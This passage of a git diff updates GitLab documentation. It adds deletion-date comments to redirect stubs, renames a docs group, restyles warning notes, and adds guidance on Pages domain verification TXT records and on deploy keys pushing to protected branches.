+++ b/doc/user/project/operations/dashboard_settings.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/settings.md'
---
This document was moved to [another location](../../../operations/metrics/dashboards/settings.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/operations/error_tracking.md b/doc/user/project/operations/error_tracking.md
index 3c00c4a6c41..399ab0d53dc 100644
--- a/doc/user/project/operations/error_tracking.md
+++ b/doc/user/project/operations/error_tracking.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/error_tracking.md'
---
This document was moved to [another location](../../../operations/error_tracking.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/operations/feature_flags.md b/doc/user/project/operations/feature_flags.md
index b0f7cfc966a..03f2cad6d78 100644
--- a/doc/user/project/operations/feature_flags.md
+++ b/doc/user/project/operations/feature_flags.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/feature_flags.md'
---
This document was moved to [another location](../../../operations/feature_flags.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/operations/index.md b/doc/user/project/operations/index.md
index 9cec578bc5e..d19cf393883 100644
--- a/doc/user/project/operations/index.md
+++ b/doc/user/project/operations/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/index.md'
---
This document was moved to [another location](../../../operations/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/operations/linking_to_an_external_dashboard.md b/doc/user/project/operations/linking_to_an_external_dashboard.md
index 2640f2cf98f..ef106181acc 100644
--- a/doc/user/project/operations/linking_to_an_external_dashboard.md
+++ b/doc/user/project/operations/linking_to_an_external_dashboard.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/settings.md'
---
This document was moved to [another location](../../../operations/metrics/dashboards/settings.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/operations/tracing.md b/doc/user/project/operations/tracing.md
index 87567f45560..dcf9894f9e1 100644
--- a/doc/user/project/operations/tracing.md
+++ b/doc/user/project/operations/tracing.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/tracing.md'
---
This document was moved to [another location](../../../operations/tracing.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/packages/maven.md b/doc/user/project/packages/maven.md
index 8378b8c78cd..13b5d69586a 100644
--- a/doc/user/project/packages/maven.md
+++ b/doc/user/project/packages/maven.md
@@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md'
---
This document was moved to [another location](../../packages/maven_repository/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/packages/maven_packages.md b/doc/user/project/packages/maven_packages.md
index 8378b8c78cd..13b5d69586a 100644
--- a/doc/user/project/packages/maven_packages.md
+++ b/doc/user/project/packages/maven_packages.md
@@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md'
---
This document was moved to [another location](../../packages/maven_repository/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/packages/maven_repository.md b/doc/user/project/packages/maven_repository.md
index 8378b8c78cd..13b5d69586a 100644
--- a/doc/user/project/packages/maven_repository.md
+++ b/doc/user/project/packages/maven_repository.md
@@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md'
---
This document was moved to [another location](../../packages/maven_repository/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/packages/npm_registry.md b/doc/user/project/packages/npm_registry.md
index e94599cf33a..f874b05e7e2 100644
--- a/doc/user/project/packages/npm_registry.md
+++ b/doc/user/project/packages/npm_registry.md
@@ -3,3 +3,6 @@ redirect_to: '../../packages/npm_registry/index.md'
---
This document was moved to [another location](../../packages/npm_registry/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
index 810538ab460..4aa89ec6f8d 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
@@ -1,8 +1,8 @@
---
type: concepts
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# DNS records overview
@@ -23,7 +23,7 @@ GitLab Pages site.
Note that **how to** add DNS records depends on which server your domain
is hosted on. Every control panel has its own place to do it. If you are
-not an admin of your domain, and don't have access to your registrar,
+not an administrator of your domain, and don't have access to your registrar,
you'll need to ask for the technical support of your hosting service
to do it for you.
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
index 9b43dd58afe..f8173b4c004 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
@@ -1,8 +1,8 @@
---
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pages/getting_started_part_three.html'
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Custom domains and SSL/TLS Certificates
@@ -84,7 +84,7 @@ server running on your instance).
![DNS A record pointing to GitLab.com Pages server](img/dns_add_new_a_record_example_updated_2018.png)
-CAUTION: **Caution:**
+WARNING:
Note that if you use your root domain for your GitLab Pages website
**only**, and if your domain registrar supports this feature, you can
add a DNS apex `CNAME` record instead of an `A` record. The main
@@ -157,7 +157,7 @@ Once you have added all the DNS records:
As soon as your domain becomes active, your website will be available
through your domain name.
-CAUTION: **Caution:**
+WARNING:
Considering GitLab instances with domain verification enabled,
if the domain cannot be verified for 7 days, it will be removed
from the GitLab project.
@@ -167,7 +167,7 @@ from the GitLab project.
> - Domain verification is **required for GitLab.com users**;
for GitLab self-managed instances, your GitLab administrator has the option
to [disabled custom domain verification](../../../../administration/pages/index.md#custom-domain-verification).
-> - [DNS propagation may take some time (up to 24h)](https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/domain-names-dns-changes/),
+> - [DNS propagation may take some time (up to 24h)](https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/complete-guide-to-dns-records/),
although it's usually a matter of minutes to complete. Until it does, verification
will fail and attempts to visit your domain will respond with a 404.
> - Once your domain has been verified, leave the verification record
@@ -190,6 +190,22 @@ Expect the output:
_gitlab-pages-verification-code.<YOUR-PAGES-DOMAIN>. 300 IN TXT "gitlab-pages-verification-code=<YOUR-VERIFICATION-CODE>"
```
+In some cases it can help to add the verification code with the same domain name as you are trying to register.
+
+For a root domain:
+
+| From | DNS Record | To |
+| ------------------------------------------------- | ---------- | ---------------------- |
+| `example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` |
+| `_gitlab-pages-verification-code.example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` |
+
+For a subdomain:
+
+| From | DNS Record | To |
+| ------------------------------------------------- | ---------- | ---------------------- |
+| `www.example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` |
+| `_gitlab-pages-verification-code.www.example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` |
+
### Adding more domain aliases
You can add more than one alias (custom domains and subdomains) to the same project.
@@ -280,7 +296,7 @@ To make your website's visitors even more secure, you can choose to
force HTTPS for GitLab Pages. By doing so, all attempts to visit your
website via HTTP will be automatically redirected to HTTPS via 301.
-It works with both GitLab's default domain and with your custom
+It works with both the GitLab default domain and with your custom
domain (as long as you've set a valid certificate for it).
To enable this setting:
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
index 24b202dfdbd..3dea35153e4 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
@@ -2,8 +2,8 @@
type: reference
description: "Automatic Let's Encrypt SSL certificates for GitLab Pages."
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Pages integration with Let's Encrypt
@@ -18,7 +18,7 @@ GitLab does it for you, out-of-the-box.
[Let's Encrypt](https://letsencrypt.org) is a free, automated, and
open source Certificate Authority.
-CAUTION: **Caution:**
+WARNING:
This feature covers only certificates for **custom domains**, not the wildcard certificate required to run [Pages daemon](../../../../administration/pages/index.md) **(CORE ONLY)**. Wildcard certificate generation is tracked in [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3342).
## Requirements
@@ -33,7 +33,7 @@ Before you can enable automatic provisioning of an SSL certificate for your doma
and verified your ownership.
- Verified your website is up and running, accessible through your custom domain.
-GitLab's Let's Encrypt integration is enabled and available on GitLab.com.
+The GitLab integration with Let's Encrypt is enabled and available on GitLab.com.
For **self-managed** GitLab instances, make sure your administrator has
[enabled it](../../../../administration/pages/index.md#lets-encrypt-integration).
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
index f30361e6669..dc73a664324 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
@@ -1,8 +1,8 @@
---
type: concepts
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SSL/TLS Certificates
@@ -16,8 +16,8 @@ up your Pages project with your custom (sub)domain, if you want
it secured by HTTPS, you will have to issue a certificate for that
(sub)domain and install it on your project.
-NOTE: **Note:**
-Certificates are NOT required to add to your custom
+NOTE:
+Certificates are **not** required to add to your custom
(sub)domain on your GitLab Pages project, though they are
highly recommendable.
@@ -56,7 +56,7 @@ reiterating the importance of HTTPS.
## Issuing Certificates
-GitLab Pages accepts certificates provided in the [PEM](https://knowledge.digicert.com/quovadis) format, issued by
+GitLab Pages accepts certificates provided in the [PEM](https://knowledge.digicert.com/quovadis.html) format, issued by
[Certificate Authorities](https://en.wikipedia.org/wiki/Certificate_authority) or as
[self-signed certificates](https://en.wikipedia.org/wiki/Self-signed_certificate). Note that [self-signed certificates are typically not used](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/)
for public websites for security reasons and to ensure that browsers trust your site's certificate.
diff --git a/doc/user/project/pages/getting_started/fork_sample_project.md b/doc/user/project/pages/getting_started/fork_sample_project.md
index 250e90f0302..2cf118c9066 100644
--- a/doc/user/project/pages/getting_started/fork_sample_project.md
+++ b/doc/user/project/pages/getting_started/fork_sample_project.md
@@ -3,3 +3,6 @@ redirect_to: 'pages_forked_sample_project.md'
---
This document was moved to [pages_forked_sample_project.md](pages_forked_sample_project.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/getting_started/new_or_existing_website.md b/doc/user/project/pages/getting_started/new_or_existing_website.md
index f19334a1764..2fc833fbd34 100644
--- a/doc/user/project/pages/getting_started/new_or_existing_website.md
+++ b/doc/user/project/pages/getting_started/new_or_existing_website.md
@@ -3,3 +3,6 @@ redirect_to: 'pages_ci_cd_template.md'
---
This document was moved to [another location](pages_ci_cd_template.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/getting_started/pages_bundled_template.md b/doc/user/project/pages/getting_started/pages_bundled_template.md
index bc706105606..0dab1f6ee19 100644
--- a/doc/user/project/pages/getting_started/pages_bundled_template.md
+++ b/doc/user/project/pages/getting_started/pages_bundled_template.md
@@ -3,3 +3,6 @@ redirect_to: 'pages_new_project_template.md'
---
This document was moved to [pages_new_project_template.md](pages_new_project_template.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md
index 906ffe43285..6dd431e02b0 100644
--- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md
+++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md
@@ -1,8 +1,8 @@
---
type: reference, howto
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Create a Pages website by using a CI/CD template
diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
index 7dc3d2197b5..525bbde4671 100644
--- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md
+++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
@@ -1,13 +1,13 @@
---
type: reference, howto
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Create a Pages website from a forked sample
-GitLab provides [sample projects for the most popular Static Site Generators](https://gitlab.com/pages).
+GitLab provides [sample projects for the most popular Static Site Generators (SSG)](https://gitlab.com/pages).
You can fork one of the sample projects and run the CI/CD pipeline to generate a Pages website.
Fork a sample project when you want to test GitLab Pages or start a new project that's already
diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md
index e030326ac5f..230e88f35f5 100644
--- a/doc/user/project/pages/getting_started/pages_from_scratch.md
+++ b/doc/user/project/pages/getting_started/pages_from_scratch.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Create a GitLab Pages website from scratch
diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md
index cfa4e0910db..eec8349abe6 100644
--- a/doc/user/project/pages/getting_started/pages_new_project_template.md
+++ b/doc/user/project/pages/getting_started/pages_new_project_template.md
@@ -1,8 +1,8 @@
---
type: reference, howto
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Create a Pages website from a new project template
diff --git a/doc/user/project/pages/getting_started_part_four.md b/doc/user/project/pages/getting_started_part_four.md
index e45befe004e..361323a9073 100644
--- a/doc/user/project/pages/getting_started_part_four.md
+++ b/doc/user/project/pages/getting_started_part_four.md
@@ -3,3 +3,6 @@ redirect_to: 'getting_started/pages_from_scratch.md'
---
This document was moved to [getting_started/pages_from_scratch.md](getting_started/pages_from_scratch.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md
index 5ef0c4cc7b9..f549c4e6e7d 100644
--- a/doc/user/project/pages/getting_started_part_one.md
+++ b/doc/user/project/pages/getting_started_part_one.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Pages domain names, URLs, and baseurls
@@ -33,7 +33,7 @@ Pages domains are `*.gitlab.io`.
| Project pages owned by a group | `projectname` | `http(s)://groupname.example.io/projectname`|
| Project pages owned by a subgroup | `subgroup/projectname` | `http(s)://groupname.example.io/subgroup/projectname`|
-CAUTION: **Warning:**
+WARNING:
There are some known [limitations](introduction.md#limitations)
regarding namespaces served under the general domain name and HTTPS.
Make sure to read that section.
@@ -80,6 +80,9 @@ To understand Pages domains clearly, read the examples below.
## URLs and baseurls
+NOTE:
+The `baseurl` option might be called named differently in some static site generators.
+
Every Static Site Generator (SSG) default configuration expects
to find your website under a (sub)domain (`example.com`), not
in a subdirectory of that domain (`example.com/subdir`). Therefore,
@@ -96,7 +99,7 @@ baseurl: "/blog"
```
On the contrary, if you deploy your website after forking one of
-our [default examples](https://gitlab.com/pages), the baseurl will
+our [default examples](https://gitlab.com/pages), the `baseurl` will
already be configured this way, as all examples there are project
websites. If you decide to make yours a user or group website, you'll
have to remove this configuration from your project. For the Jekyll
@@ -106,6 +109,9 @@ example we've just mentioned, you'd have to change Jekyll's `_config.yml` to:
baseurl: ""
```
+If you're using the [plain HTML example](https://gitlab.com/pages/plain-html),
+you don't need to set a `baseurl`.
+
## Custom domains
GitLab Pages supports custom domains and subdomains, served under HTTP or HTTPS.
diff --git a/doc/user/project/pages/getting_started_part_three.md b/doc/user/project/pages/getting_started_part_three.md
index 4bf5300aa13..9d7f401ca91 100644
--- a/doc/user/project/pages/getting_started_part_three.md
+++ b/doc/user/project/pages/getting_started_part_three.md
@@ -3,3 +3,6 @@ redirect_to: 'custom_domains_ssl_tls_certification/index.md'
---
This document was moved to [another location](custom_domains_ssl_tls_certification/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/getting_started_part_two.md b/doc/user/project/pages/getting_started_part_two.md
index 70e84f5d486..4b2b186ca28 100644
--- a/doc/user/project/pages/getting_started_part_two.md
+++ b/doc/user/project/pages/getting_started_part_two.md
@@ -3,3 +3,6 @@ redirect_to: 'index.md'
---
This document was moved to [another location](index.md#getting-started).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md
index f5cd6991869..846d30e898c 100644
--- a/doc/user/project/pages/index.md
+++ b/doc/user/project/pages/index.md
@@ -1,8 +1,8 @@
---
description: 'Learn how to use GitLab Pages to deploy a static website at no additional cost.'
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Pages
@@ -83,9 +83,9 @@ to build your site and publish it to the GitLab Pages server. The sequence of
scripts that GitLab CI/CD runs to accomplish this task is created from a file named
`.gitlab-ci.yml`, which you can [create and modify](getting_started/pages_from_scratch.md) at will. A specific `job` called `pages` in the configuration file will make GitLab aware that you are deploying a GitLab Pages website.
-You can either use GitLab's [default domain for GitLab Pages websites](getting_started_part_one.md#gitlab-pages-default-domain-names),
+You can either use the GitLab [default domain for GitLab Pages websites](getting_started_part_one.md#gitlab-pages-default-domain-names),
`*.gitlab.io`, or your own domain (`example.com`). In that case, you'll
-need admin access to your domain's registrar (or control panel) to set it up with Pages.
+need administrator access to your domain's registrar (or control panel) to set it up with Pages.
The following diagrams show the workflows you might follow to get started with Pages.
@@ -103,7 +103,7 @@ To restrict access to your website, enable [GitLab Pages Access Control](pages_a
If you're using a self-managed instance (Core, Starter, Premium, or Ultimate),
your websites will be published on your own server, according to the
-[Pages admin settings](../../../administration/pages/index.md) chosen by your sysadmin,
+[Pages settings](../../../administration/pages/index.md) chosen by your sysadmin,
who can make them public or internal.
## Pages examples
diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md
index 6dbc12cc2ec..5a284bf57c3 100644
--- a/doc/user/project/pages/introduction.md
+++ b/doc/user/project/pages/introduction.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Exploring GitLab Pages
@@ -280,4 +280,4 @@ No, you don't. You can create your project first and it will be accessed under
## Known issues
-For a list of known issues, visit GitLab's [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages).
+For a list of known issues, visit the GitLab [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages).
diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
index 13ea57939f8..f2b75354bf8 100644
--- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
+++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
@@ -1,19 +1,19 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)."
---
# Let's Encrypt for GitLab Pages (manual process, deprecated)
-CAUTION: **Warning:**
+WARNING:
This method is still valid but was **deprecated** in favor of the
[Let's Encrypt integration](custom_domains_ssl_tls_certification/lets_encrypt_integration.md)
introduced in GitLab 12.1.
If you have a GitLab Pages website served under your own domain,
-you might want to secure it with a SSL/TSL certificate.
+you might want to secure it with a SSL/TLS certificate.
[Let's Encrypt](https://letsencrypt.org) is a free, automated, and
open source Certificate Authority.
@@ -67,7 +67,7 @@ might be slightly different. Follow the
sudo certbot certonly -a manual -d example.com --register-unsafely-without-email
```
- TIP: **Tip:**
+ NOTE:
Read through CertBot's documentation on their
[command line options](https://certbot.eff.org/docs/using.html#certbot-command-line-options).
diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md
index b3705a5835a..9d17277fe9e 100644
--- a/doc/user/project/pages/pages_access_control.md
+++ b/doc/user/project/pages/pages_access_control.md
@@ -1,8 +1,8 @@
---
type: reference, howto
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Pages Access Control
diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md
index 60fbf368061..8c189614102 100644
--- a/doc/user/project/pages/redirects.md
+++ b/doc/user/project/pages/redirects.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Create redirects for GitLab Pages
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24) in GitLab Pages 1.25.0 and GitLab 13.4 behind a feature flag, disabled by default.
> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/367) in GitLab 13.5.
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
In GitLab Pages, you can configure rules to forward one URL to another using
diff --git a/doc/user/project/pipelines/job_artifacts.md b/doc/user/project/pipelines/job_artifacts.md
index c23eaebcbe9..cf5f33534cd 100644
--- a/doc/user/project/pipelines/job_artifacts.md
+++ b/doc/user/project/pipelines/job_artifacts.md
@@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/job_artifacts.md'
---
This document was moved to [another location](../../../ci/pipelines/job_artifacts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pipelines/schedules.md b/doc/user/project/pipelines/schedules.md
index a92464d6817..52352a29c5a 100644
--- a/doc/user/project/pipelines/schedules.md
+++ b/doc/user/project/pipelines/schedules.md
@@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/schedules.md'
---
This document was moved to [another location](../../../ci/pipelines/schedules.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pipelines/settings.md b/doc/user/project/pipelines/settings.md
index af4cbe13aba..f19f28743a8 100644
--- a/doc/user/project/pipelines/settings.md
+++ b/doc/user/project/pipelines/settings.md
@@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/settings.md'
---
This document was moved to [another location](../../../ci/pipelines/settings.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md
index 7265fd330e3..5754a3b7a9d 100644
--- a/doc/user/project/protected_branches.md
+++ b/doc/user/project/protected_branches.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -21,8 +21,8 @@ By default, a protected branch does four simple things:
- It prevents **anyone** from force pushing to the branch.
- It prevents **anyone** from deleting the branch.
-NOTE: **Note:**
-A GitLab admin is allowed to push to the protected branches.
+NOTE:
+A GitLab administrator is allowed to push to the protected branches.
See the [Changelog](#changelog) section for changes over time.
@@ -74,6 +74,33 @@ dropdown list in the "Already protected" area.
If you don't choose any of those options while creating a protected branch,
they are set to "Maintainers" by default.
+### Allow Deploy Keys to push to a protected branch
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30769) in GitLab 13.7.
+> - This feature is being selectively deployed in GitLab.com 13.7, and may not be available for all users.
+
+You can allow specific machines to access protected branches in your repository with
+[Deploy Keys](deploy_keys/index.md). This can be useful for your CI/CD workflow,
+for example.
+
+Deploy keys can be selected in the **Allowed to push** dropdown when:
+
+- Defining a protected branch.
+- Updating an existing branch.
+
+Select a deploy key to allow the owner of the key to push to the chosen protected branch,
+even if they aren't a member of the related project. The owner of the selected deploy
+key must have at least read access to the given project.
+
+For a deploy key to be selectable:
+
+- It must be [enabled for your project](deploy_keys/index.md#how-to-enable-deploy-keys).
+- It must have [write access](deploy_keys/index.md#deploy-keys-permissions) to your project repository.
+
+Deploy Keys are not available in the **Allowed to merge** dropdown.
+
+![Deploy Keys on protected branches](img/protected_branches_deploy_keys_v13_5.png)
+
## Restricting push and merge access to certain users **(STARTER)**
